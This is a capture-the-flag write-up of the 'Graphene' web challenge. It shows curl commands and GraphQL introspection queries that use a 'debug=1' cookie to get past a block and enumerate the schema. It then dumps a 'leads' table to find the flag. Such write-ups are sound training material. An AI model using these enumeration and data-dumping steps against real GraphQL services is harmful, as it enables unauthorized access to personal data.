Graphene
- Category: Web
- 250 points
- Solved by JCTF Team
Description
Solution
We visit the attached website and get a simple login page. If we check the sources, we see the following Javascript logic:
$(document).ready(function(){
$("#signIn").on("click", function(){
var username = $('#username').val();
var password = $('#password').val();
var query = `mutation login {login(username:"${username}", password: "${password}") {user {username}ok}}`;
// var query = {"username": username, "password": password};
$.ajax({
url: '/api',
type: 'POST',
data: JSON.stringify({"query": query}),
contentType: 'application/json; charset=utf-8',
dataType: 'json',
async: false,
success: function(data) {
if(data['login'] == "failed"){
$("#wrong").toggle();
}
}
});
});
});
The query
variable looks like it holds a GraphQL statement:
mutation login {login(username:"${username}", password: "${password}") {user {username}ok}}
This looks like a simple login
function (or mutation
).
Let's try to submit some random credentials:
root@kali:/media/sf_CTFs/appsec/Graphene# curl 'https://graphene.appsecil.ctf.today/api' -H 'Content-Type: application/json; charset=utf-8' --data-raw '{"query":"mutation login {login(username:\"user\", password: \"123456\") {user {username}ok}}"}'
{"login":"failed"}
No surprise there. But - if we can submit GraphQL queries, we can try and leak information about the database.
Let's try to leak the schema:
root@kali:/media/sf_CTFs/appsec/Graphene# curl 'https://graphene.appsecil.ctf.today/api' -H 'Content-Type: application/json; charset=utf-8' --data-raw '{"query":"{__schema {types { name } } }"}'
{"login":"failed"}
No luck there. We'll get the same response if we try anything else. Time to go back to the drawing board. Let's take a closer look at what the server sends us back when we access the site:
root@kali:/media/sf_CTFs/appsec/Graphene# curl -I 'https://graphene.appsecil.ctf.today/'
HTTP/1.1 200 OK
server: gunicorn/20.0.4
date: Mon, 26 Oct 2020 19:55:29 GMT
content-length: 2472
content-type: text/html; charset=utf-8
last-modified: Sat, 17 Oct 2020 10:20:28 GMT
cache-control: public, max-age=43200
expires: Tue, 27 Oct 2020 07:55:29 GMT
etag: "1602930028.0-2472-1402931165"
set-cookie: debug=0; Path=/
The server is setting a debug
cookie! Let's try changing the value to 1
.
root@kali:/media/sf_CTFs/appsec/Graphene# curl --location --request POST 'https://graphene.appsecil.ctf.today/api' \
> --header 'Cookie: debug=1' \
> --header 'Content-Type: application/json' \
> --data-raw '{"query":"{\n __schema {\n types {\n name\n }\n }\n}","variables":{}}' -s | sed 's/"/"/g' && echo
<!DOCTYPE html>
<html>
<head>
<title>Debug</title>
</head>
<body>
<p>Query: {
__schema {
types {
name
}
}
}</p>
<p>Response: {"__schema": {"types": [{"name": "Query"}, {"name": "User"}, {"name": "String"}, {"name": "Lead"}, {"name": "ID"}, {"name": "Boolean"}, {"name": "Int"}, {"name": "Mutations"}, {"name": "Login"}, {"name": "__Schema"}, {"name": "__Type"}, {"name": "__TypeKind"}, {"name": "__Field"}, {"name": "__InputValue"}, {"name": "__EnumValue"}, {"name": "__Directive"}, {"name": "__DirectiveLocation"}]}}</p>
</body>
</html>
This looks much better! We can leak schema information using the debug flag. We see that we have some special types such as User
and Lead
. Let's check them:
# Request:
{
__type(name: "User") {
name
fields {
name
type {
name
kind
}
}
}
}
# Response:
{"__type": {"name": "User", "fields": [{"name":
"username", "type": {"name": "String", "kind": "SCALAR"}}]}}
# ---
# Request:
{
__type(name: "Lead") {
name
fields {
name
type {
name
kind
}
}
}
}
# Response:
{"__type": {"name": "Lead", "fields": [{"name": "id",
"type": {"name": "ID", "kind": "SCALAR"}}, {"name":
"firstName", "type": {"name": "String", "kind": "SCALAR"}},
{"name": "lastName", "type": {"name": "String", "kind":
"SCALAR"}}, {"name": "email", "type": {"name": "String",
"kind": "SCALAR"}}, {"name": "gender", "type": {"name":
"String", "kind": "SCALAR"}}, {"name": "ipAddress", "type":
{"name": "String", "kind": "SCALAR"}}, {"name": "isVip",
"type": {"name": "Boolean", "kind": "SCALAR"}}]}}
We got their internal structure. Now, let's look for queries:
# Request:
{
__schema {
queryType {
fields {
name
description
}
}
}
}
# Response:
{"__schema": {"queryType": {"fields": [{"name": "user",
"description": null}, {"name": "leads", "description": null}]}}}
Looks like we have two queries, user
and leads
. Let's try querying the leads:
root@kali:/media/sf_CTFs/appsec/Graphene# curl --location --request POST 'https://graphene.appsecil.ctf.today/api' \
> --header 'Cookie: debug=1' \
> --header 'Content-Type: application/json' \
> --data-raw '{"query":"{\n leads {\n id\n firstName\n lastName\n email\n gender\n ipAddress\n isVip\n }\n}","variables":{}}' -s | sed 's/"/"/g' && echo
<!DOCTYPE html>
<html>
<head>
<title>Debug</title>
</head>
<body>
<p>Query: {
leads {
id
firstName
lastName
email
gender
ipAddress
isVip
}
}</p>
<p>Response: {"leads": null}</p>
</body>
</html>
Response is null. Is there anything wrong with our query?
Using a larger query from PayloadAllTheThings ("Enumerate Database Schema via Introspection"), we can dump many more details from the schema. Here's what that query shows about the leads
:
{
"name":"leads",
"description":null,
"args":[
{
"name":"limit",
"description":null,
"type":{
"kind":"SCALAR",
"name":"Int",
"ofType":null
},
"defaultValue":null
}
],
"type":{
"kind":"LIST",
"name":null,
"ofType":{
"kind":"OBJECT",
"name":"Lead",
"ofType":null
}
},
"isDeprecated":false,
"deprecationReason":null
}
So we were missing the limit
parameter. Let's try adding it:
# Request:
{
leads(limit:1000) {
id
firstName
lastName
email
gender
ipAddress
isVip
}
}
We get 100 leads of the form:
{
"id":"1",
"firstName":"Zacharie",
"lastName":"Austins",
"email":"[email protected]",
"gender":"Male",
"ipAddress":"211.21.0.141",
"isVip":false
},
The challenge description mentioned VIPs, let's check if who is a VIP:
root@kali:/media/sf_CTFs/appsec/Graphene# cat leads.txt | grep '"isVip":true' -A 1 -B 7
{
"id":"62",
"firstName":"Claiborne",
"lastName":"Wrathall",
"email":"AppSec-IL{c4R8ON-15-9r4phene}",
"gender":"Male",
"ipAddress":"135.39.36.56",
"isVip":true
},
We got the flag.